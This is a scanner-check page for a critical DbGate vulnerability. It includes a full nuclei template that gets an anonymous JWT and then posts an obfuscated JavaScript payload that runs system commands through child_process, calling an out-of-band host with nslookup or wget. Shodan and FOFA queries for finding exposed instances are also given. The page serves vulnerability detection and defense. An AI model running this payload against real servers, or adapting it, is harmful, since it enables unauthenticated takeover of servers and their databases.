DbGate - Remote Code Execution via Anonymous JWT

criticalseverity

9.8CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.

Impact

An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.

Fix

Update DbGate to the latest patched version.

How to confirm it

Send: POST /auth/login
Positive when: status_code == 200 and contains(body, "accessToken")
Send: POST /runners/start
Positive when: contains_any(interactsh_protocol, "dns", "http")

Run it with nuclei: nuclei -id CVE-2026-47668 -u <target>

The full check

id: CVE-2026-47668

info:
  name: DbGate - Remote Code Execution via Anonymous JWT
  author: benharvey-sage
  severity: critical
  description: |
   DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.
  impact: |
   An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.
  remediation: |
   Update DbGate to the latest patched version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-47668
    - https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc
    - https://github.com/dbgate/dbgate
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-47668
    epss-score: 0.03882
    epss-percentile: 0.90315
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: dbgate
    product: dbgate
    shodan-query: http.title:"DbGate"
    fofa-query: title="DbGate"
  tags: cve,cve2026,dbgate,rce,oast,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"amoid":"none"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "accessToken")'
        internal: true
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body
        internal: true
        json:
          - '.accessToken'

  - raw:
      - |
        POST /runners/start HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"script":{"type":"json","commands":[{"type":"assign","variableName":"x","functionName":"x;try{var m=process.mainModule;var r=m[\"req\"+\"uire\"];var n=[\"chi\",\"ld_\",\"pro\",\"ces\",\"s\"].join(\"\");var cp=r(n);var o=cp[\"exe\"+\"cSy\"+\"nc\"](\"nslookup {{interactsh-url}} || wget {{interactsh-url}}\").toString();}catch(e){};// ","props":{}}],"packageNames":[]}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "dns", "http")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from